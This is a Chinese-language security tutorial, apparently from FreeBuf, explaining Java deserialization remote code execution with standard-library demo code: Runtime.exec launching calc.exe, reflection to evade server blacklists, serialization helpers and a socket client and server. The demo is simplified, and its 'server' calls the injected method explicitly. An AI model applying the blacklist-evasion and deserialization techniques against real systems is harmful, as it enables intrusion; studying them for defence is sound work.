在这里我们对Java中反序列化问题引发的远程代码执行漏洞的原理进行介绍。为了简化说明,在不引入第3方库的前提下进行操作，希望能起到抛砖引玉的效果。
主要有3个部分组成：
Java的反省机制
Java的序列化处理
Java的远程代码执行
Java的反射与代码执行
我们先看1个简单的例子，使用Java调用计算器程序：
import java.io.IOException;
import java.lang.Runtime;
public class Test {
public static void main(String[] args) {
Runtime env = Runtime.getRuntime();
String cmd = "calc.exe";
try {
env.exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
}
我们从java.lang包中导入Runtime类，之后调用其getRuntime方法得到1个Runtime对象，该对象可以用于JVM虚拟机运行状态的处理。接着我们调用其exec方法，传入1个字符串作为参数。
此时，将启动本地计算机上的计算器程序。
下面我们通过Java的反省机制对上述的代码进行重写。通过Java的反省机制可以动态的调用代码，而逃过一些服务端黑名单的处理：
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class Test {
public static void main(String[] args) {
try {
Class<?> cls = Class.forName("java.lang.Runtime");
String cmd = "calc.exe";
try {
Method getRuntime = cls.getMethod("getRuntime", new Class[] {});
Object runtime = getRuntime.invoke(null);
Method exec = cls.getMethod("exec", String.class);
exec.invoke(runtime, cmd);
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (SecurityException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (IllegalArgumentException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
}
} catch (ClassNotFoundException e1) {
e1.printStackTrace();
}
}
}
上述代码看起来很繁琐,实际上并不是很难。首先，通过Class.forName传入1个字符串作为参数，其返回1个Class的实例。而其作用是根据对应的名称找到对应的类。
接着我们使用Class实例的getMethod方法获取对应类的getRuntime方法，由于该类没有参数，因此可以将其设置为null或使用匿名类来处理。
Method getRuntime = cls.getMethod("getRuntime", new Class[] {});
之后通过得到的方法的实例的invoke方法调用对应的类方法，由于没有参数则传入null即可。同理，我们再获取到exec方法。
Java序列化处理
对于Java中的序列化处理，对应的类需要实现Serializable接口，例如：
import java.io.Serializable;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
public class Reader implements Serializable {
private static final long serialVersionUID = 10L;
private void readObject(ObjectInputStream stream) {
System.out.println("foo...bar...");
}
public static byte[] serialize(Object obj) {
//序列化对象
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream output = null;
try {
output = new ObjectOutputStream(out);
output.writeObject(obj);
output.flush();
output.close();
} catch (IOException e) {
e.printStackTrace();
}
return out.toByteArray();
}
public static Object deserialize(byte[] bytes) {
//反序列化处理
ByteArrayInputStream in = new ByteArrayInputStream(bytes);
ObjectInputStream input;
Object obj = null;
try {
input = new ObjectInputStream(in);
obj = input.readObject();
} catch (IOException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
return obj;
}
public static void main(String[] args) {
byte[] data = serialize(new Reader()); //对类自身进行序列化
Object response = deserialize(data);
System.out.println(response);
}
}
在这里我们重写了该类的readObject方法，用于读取对象用于测试。其中比较重要的2个函数是serialize和deserialize，分别用于序列化和反序列化处理。
其中，serialize方法需要传入1个对象作为参数，其输出结果为1个字节数组。在该类中，其中的对象输出流ObjectOutputStream主要用于ByteArrayOutputStream进行包装，之后使用其writeObject方法将对象写入进去，最后我们通过ByteArrayOutputStream实例的toByteArray方法得到字节数组。
而在deserialize方法中，需要传入1个字节数组，而返回值为1个Object对象。与之前的序列化serialize函数类似，此时我们使用ByteArrayInputStream接收字节数组，之后使用ObjectInputStream对ByteArrayInputStream进行包装，接着调用其readObject方法得到1个Object对象，并将其返回。
当我们运行该类时，将得到如下的结果：
foo...bar...Java远程通信与传输
为了实现Java代码的远程传输及远程代码执行，我们可以借助RMI、RPC等方式。而在这里我们使用Socket进行服务端及客户端处理。
首先是服务器端，监听本地的8888端口，其代码为：
import java.net.Socket;
import java.io.IOException;
import java.io.InputStream;
import java.net.ServerSocket;
public class Server {
public static void main(String[] args) throws ClassNotFoundException {
int port = 8888;
try {
ServerSocket server = new ServerSocket(port);
System.out.println("Server is waiting for connect");
Socket socket = server.accept();
InputStream input = socket.getInputStream();
byte[] bytes = new byte[1024];
int length = 0;
while((length=input.read(bytes))!=-1) {
String out = new String(bytes, 0, length, "UTF-8");
System.out.println(out);
}
input.close();
socket.close();
server.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
我们通过传入1个端口来实例化ServerSocket类，此时得到1个服务器的socket，之后调用其accept方法接收客户端的请求。此时，得到了1个socket对象，而通过socket对象的getInputStream方法获取输入流，并指定1个长度为1024的字节数组。接着调用socket的read方法读取那么指定长度的字节序列，之后通过String构造器将字节数组转换为字符串并输出。这样我们就得到了客户端传输的内容。
而对于客户端器，其代码类似如下:
import java.io.IOException;
import java.net.Socket;
import java.io.OutputStream;
public class Client {
public static void main(String[] args) {
String host = "192.168.1.108";
int port = 8888;
try {
Socket socket = new Socket(host, port);
OutputStream output = socket.getOutputStream();
String message = "Hello,Java Socket Server";
output.write(message.getBytes("UTF-8"));
output.close();
socket.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
在客户端，我们通过Socket对象传递要连接的IP地址和端口，之后通过socket对象的getOutputStream方法获取到输出流，用于往服务器端发送输出。由于这里只是演示，使用的是本地的主机IP。而在实际应用中，如果我们知道某个外网主机的IP及开放的端口，如果当前主机存在对应的漏洞，也是可以利用类似的方式来实现的。
这里我们设置要传输的内容为UTF-8编码的字符串，俄日在输出流的write方法中通过字符串的getBytes指定其编码，从而将其转换为对应的字节数组进行发送。
正常情况下，我们运行服务器后再运行客户端，在服务器端可以得到如下输出：
Server is waiting for connect
Hello,Java Socket Server
Java反序列化与远程代码执行
下面我们通过Java反序列化的问题来实现远程代码执行，为了实现远程代码执行，我们首先在Reader类中添加1个malicious方法，其代码为：
...
public Object malicious() throws IOException {
Runtime.getRuntime().exec("calc.exe");
System.out.println("Hacked the Server...");
return this;
}
在该方法中我们使用之前的介绍调用宿主机器上的计算器程序，然后输出1个相关信息，最后返回当前类。
之后是对服务器端的代码进行如下的修改：
...
while((length=input.read(bytes))!=-1) {
Reader obj = (Reader) Reader.deserialize(bytes);
obj.malicious();
}
我们在接收到客户端对应的字符串后对其进行反序列处理，之后调用某个指定的函数，从而实现远程代码的执行。
而在客户端，我们需要对其进行序列化处理：
Reader reader = new Reader();
byte[] bytes = Reader.serialize(reader);
String message = new String(bytes);
output.write(message.getBytes());
下面我们在宿主机器上运行服务器端程序，之后在本地机器上运行客户端程序，当客户端程序执行时，可以看到类似如下的结果：
可以看到，我们成功的在宿主机器上执行了对应的命令执行。
总结
为了实现通过Java的反序列问题来实现远程代码执行的漏洞，我们需要编写1个有恶意代码注入的序列化类。之后在客户端将恶意代码序列化后发送给服务器端，而服务器端需要调用我们期望的方法，从而触发远程代码执行。
为了避免服务器端进行一些安全处理，我们可以采用反射的方式来逃逸其处理。
这里只是1个简化的过程，更加实用的过程可以参考Apache Common Collections的问题导致的Weblogic漏洞CVE-2015-4852及Jboss的漏洞CVE-2015-7501。
*本文作者：yafeile，转载请注明来自FreeBuf.COM
来源：freebuf.com 2019-05-24 09:40:44 by: yafeile
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